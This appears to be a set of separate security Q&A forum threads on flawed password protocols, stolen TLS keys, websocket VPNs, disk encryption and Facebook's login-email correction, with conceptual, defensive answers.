@Thomas Pornin points out that the protocol in that paper will be weak for most parameter choices, or completely insecure for some parameter choices.  Thomas explains it well: "If the hash function F has an output larger than p or of the same size, then any eavesdropped exchange provides an oracle for an offline dictionary attack which can rule out half of possible passwords. If the value g generates a subgroup smaller than (p-1)/2, then an eavesdropped exchange provides a much better oracle for offline attacks. In short, they mimic EKE but do it badly. Do not use this protocol."

The paper attempts to "re-invent the wheel".  There are solutions in the literature for exactly the problem that the paper poses; they are called password-authenticated key exchange (PAKE) protocols.  The paper doesn't seem to be aware of the full extent of prior work on PAKE that had been done before the time of its publication.
There are several PAKE protocols that have been well vetted: if you want to follow the approach outlined in the paper, I propose that you use a well-known PAKE protocol, not the ad-hoc scheme presented in the paper.

Also, the proposed scheme may have an elementary security weakness, depending upon how it is integrated into SIP.  The paper doesn't describe what happens after the protocol is completed and each party has authenticated the other.  If at this point the connection continues in cleartext, then there is a straightforward man-in-the-middle attack: the attacker simply waits until after the authentication protocol has completed successfully (without tampering with the challenge-response steps), then tampers with messages sent after both sides have successfully authenticated each other.  The paper doesn't make clear whether or how this attack is prevented.


Can an attacker reuse stolen SSL private key to recreate that domain on his server Say my domain (https://example.com) SSL private key has been stolen and was not protected by a passphrase then.

Can the attacker uses that key and certificate to host the same
domain on different server, if he can some how convince DNS server to
point to new server ip address.
Will there be any alert at users end

I just want to know if the above case is possible,I am aware about how he can use that to decrypt traffic.

Yes, if someone steals your private key, then he can make a fake server with the same name, and users won't see anything wrong with it (provided the attacker redirects connections to his server, e.g. by altering the DNS).

No, users will not be warned.

From the point of view of both the CA and the user browser, a fake server with a stolen key is not different from a Web server being moved to another IP address, e.g. as part of a DNS-based load balancing. When you have a server and a certificate, the certificate is in no way locked to whatever IP address you presently used; browsers only check that the server name appears in the certificate (see RFC 2818, section 3.1). You are free to copy your private key and certificates to another server with another IP address, and make the DNS point to that new address. The only difference with the attack scenario you describe (key theft) is that this time you really want it. Whether you agree to the IP move or not cannot be checked by the client, and, correspondingly, the client does not check it in any way.

So protect your private key, and, if it gets stolen, report the theft to your CA which will then revoke the certificate.


Websocket VPN and MitM Gateways A number of solutions [1] are available for tunnelling IP over
Websockets to masquerade a VPN as browser traffic. How well
are these connections isolated though? Specifically, if the
browser happens to run on a host behind a corporate gateway
that is set up to MitM all TLS traffic, will the gateway have
the means to decrypt the tunneled connection?

AFAICS there is no suite of standards to consult as there is for
IPSec, hence the lack of specificity in the question.

[1] E. g. https://github.com/unbit/vpn-ws

Well, basically you now have VPN over untrusted connection. This should be fine, if VPN is implemented to deal with that (example that you list does not appear to be though).

If VPN correctly encrypts the data, then only entities in possession of keys (that would be you and your VPN peer) should be able to decrypt it.


Encrypting a few TB of Data I'm planning on encrypting a large media library of mine. Have looked into different solutions, but thought I should ask the community what your thoughts are.

I don't want to encrypt each file individually, I'd like to create a container which I decrypt once when mounting.
I have 1.4 TB of data consisting mainly of 2-4 GB files, though some files exceed 4 GB (meaning zipping isn't an option).
Ideally I'd like the solution to be cross platform (even if that means command line only).

My current best solution is to use GPG. I would create a tarball of my 1.4 TB directory then encrypt that file with my GPG key. Though I don't have much expertise in compression, I would think this isn't ideal to tar 1.4 TB. Which also means browsing the files will be cumbersome, unless I untar which would double the storage needed along with many other downsides.

Do you have any suggestions for other ways I should go about this?
I don't need to solution to be incredibly secure, prioritising on convenience for this use case.

More Info: I currently use OSX's built in encryption method of creating a .dmg and mounting it to access the contents. Hoping for a cross platform version of this.

Why not use a commonly used application to do it? VeraCrypt is a good choice as it replaced the respected TrueCrypt application and allows you to create an encryption container that you mount as a drive.


Does correcting misspelled usernames create a security risk? Does correcting a misspelled username and prompting the user with a valid username introduce a security risk?

I recently tried logging into facebook and misspelled my email. They prompted me with the message below.

  Log in as {username}

  {email}@gmail.com · Not You?

  Please Confirm Password It looks like you entered a slight misspelling
  of your email or username. We've corrected it for you, but ask that
  you re-enter your password for added security.

I know usernames aren't really a secret but when a website fixes a misspelling to a correct one, they seem to be taking the 'not a secret' a little too far.

As you said, you saw this on facebook - so I tried these steps:

Login with lukas@gmail.com and real password -> works
Login with lukas@gmail.cmo and real password -> works, too (!)
Login with luksa@gmail.com and real password -> also works
Login with luksa@mail.com and real password -> also works
Login with lukas@gmail.cmo and wrong password -> Wrong password, but email got automatically corrected to the right email
Login with lukas@gmail.cmo in a private tab (or a browser with cleared cache & cookies) -> "The email you’ve entered doesn’t match any account"

As the correction only seems to work when I have already successfully logged into FB at this PC,  I would say that this is not a vulnerability in facebook.

Edit: Added new test cases; thanks Zymus, simbabque and Micheal Johnson for the suggestions